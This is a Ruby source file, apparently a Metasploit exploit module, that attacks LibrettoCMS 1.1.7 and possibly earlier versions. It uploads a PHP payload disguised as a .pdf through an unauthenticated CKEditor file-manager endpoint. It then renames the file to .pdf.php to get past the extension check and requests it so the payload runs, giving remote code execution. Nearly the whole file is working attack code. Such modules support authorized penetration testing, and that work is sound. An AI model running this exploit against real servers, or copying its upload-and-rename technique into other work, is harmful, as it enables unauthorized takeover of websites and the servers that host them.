143 lines
4.2 KiB
Ruby
143 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
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possibly prior. Attackers can bypass the file extension check and abuse the upload
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feature in order to upload a malicious PHP file without authentication, which
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results in arbitrary remote code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'CWH',
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '94391'],
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['EDB', '26213']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => %w{ linux php },
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jun 14 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
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])
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end
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def check
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res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
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if not res
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vprint_error("Connection timed out")
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return Exploit::CheckCode::Unknown
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end
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if res.body =~ /Powered by <a href=".+">Libretto CMS/
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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def upload(base)
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p = get_write_exec_payload(:unlink_self=>true)
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fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
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data = Rex::MIME::Message.new
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data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
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data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
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data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
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post_data = data.to_s
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uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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'vars_get' => {'type'=>'all files'}
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})
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if not res
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fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
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elsif res.code.to_i != 200
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fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
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end
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fname
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end
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def rename(base, original_fname)
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new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
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uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_get' => { 'type' => 'all files' },
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'vars_post' => {
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'fun' => 'renameFile',
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'dir' => '',
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'filename' => original_fname,
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'newFilename' => new_name
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}
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})
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if not res
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fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")
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elsif res.body !~ /"res":"OK"/
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fail_with(Failure::Unknown, "#{peer} - Failed to rename file")
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end
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new_name
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end
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def exec(base, payload_fname)
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res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
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if res and res.code.to_i == 404
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fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
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end
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end
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def exploit
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base = target_uri.path
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print_status("Uploading malicious file...")
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orig_fname = upload(base)
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print_status("Renaming #{orig_fname}...")
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new_fname = rename(base, orig_fname)
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print_status("Executing #{new_fname}...")
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exec(base, new_fname)
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end
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end
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